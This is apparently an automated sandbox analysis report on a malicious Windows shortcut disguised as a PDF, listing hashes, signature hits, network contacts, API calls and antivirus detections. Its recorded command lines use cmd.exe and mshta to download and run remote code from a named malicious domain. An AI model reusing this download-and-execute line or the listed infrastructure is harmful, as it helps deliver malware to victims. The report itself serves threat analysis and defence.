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Security Bugs in Operation.pdf.lnk

Generic Malware Downloader FTP Code injection DGA HTTP Socket Escalate priviledges Create Service KeyLogger P2P Internet API DNS Http API Anti_VM Steal credential ScreenShot Sniff Audio GIF Format AntiVM AntiDebug
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 4, 2021, 3:22 p.m. Sept. 4, 2021, 3:24 p.m.
Size 945.6KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has Working directory, Has command line arguments, Icon number=24, Archive, ctime=Sun Feb 16 21:46:36 2020, mtime=Wed Oct 28 16:56:25 2020, atime=Sun Feb 16 21:46:36 2020, length=280064, window=hide
MD5 02904e802b5dc2f85eec83e3c1948374
SHA256 96caa8b43589c1e768f3a0910df15eb9fd86ac69646858a78b0b91c35c1a5c07
CRC32 701A96E7
ssdeep 12288:Zx0KXPiZ5uTL8ZL0L3PsOfGgOtb1vnQfic6XKdr0n165shujrCiIhUfQNd6WOlBf:AK6wL8ZAL3EOK55+ddrc1ugNFqBiF6R
Yara
  • Generic_Malware_Zero - Generic Malware
  • Lnk_Format_Zero - LNK Format
  • anti_vm_detect - Possibly employs anti-virtualization techniques

Name Response Post-Analysis Lookup
share.bloomcloud.org
A 139.180.164.131
139.180.164.131
IP Address Status Action
139.180.164.131 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49204 -> 139.180.164.131:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49204
139.180.164.131:443 		C=US, O=Let's Encrypt, CN=R3 CN=bloomcloud.org 14:f1:38:d4:67:70:b8:bf:b6:b6:da:8a:3c:69:38:e2:92:24:20:1c

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://share.bloomcloud.org/2qRa60mv2a5zatU3RmgAHlbjRh1klMFjgezI2pOL0Tk=
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72192000
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\Security Bugs in Operation.pdf.lnk
cmdline C:\Windows\System32\mshta https://share.bloomcloud.org/2qRa60mv2a5zatU3RmgAHlbjRh1klMFjgezI2pOL0Tk=
cmdline "C:\Windows\System32\cmd.exe" /c start /b C:\Windows\System32\mshta https://share.bloomcloud.org/2qRa60mv2a5zatU3RmgAHlbjRh1klMFjgezI2pOL0Tk=
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef80000
process_handle: 0xffffffff
1 0 0
url https://share.bloomcloud.org/2qRa60mv2a5zatU3RmgAHlbjRh1klMFjgezI2pOL0Tk=
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description Communication using DGA rule Network_DGA
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Create a windows service rule Create_Service
description Record Audio rule Sniff_Audio
description Escalate priviledges rule Escalate_priviledges
description Run a KeyLogger rule KeyLogger
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description Match Windows Inet API call rule Str_Win32_Internet_API
description Communications over FTP rule Network_FTP
description Take ScreenShot rule ScreenShot
description Match Windows Http API call rule Str_Win32_Http_API
description Steal credential rule local_credential_Steal
description File Downloader rule Network_Downloader
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002c0
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
Process injection Process 1016 resumed a thread in remote process 2076
Process injection Process 2076 resumed a thread in remote process 2936
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000334
suspend_count: 1
process_identifier: 2076
1 0 0

NtResumeThread

 thread_handle: 0x00000084
suspend_count: 0
process_identifier: 2936
1 0 0
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BitDefender Heur.BZC.YAX.Nioc.1.078B6D01
MicroWorld-eScan Heur.BZC.YAX.Nioc.1.078B6D01
Tencent Heur:Trojan.Winlnk.Downloader.wya
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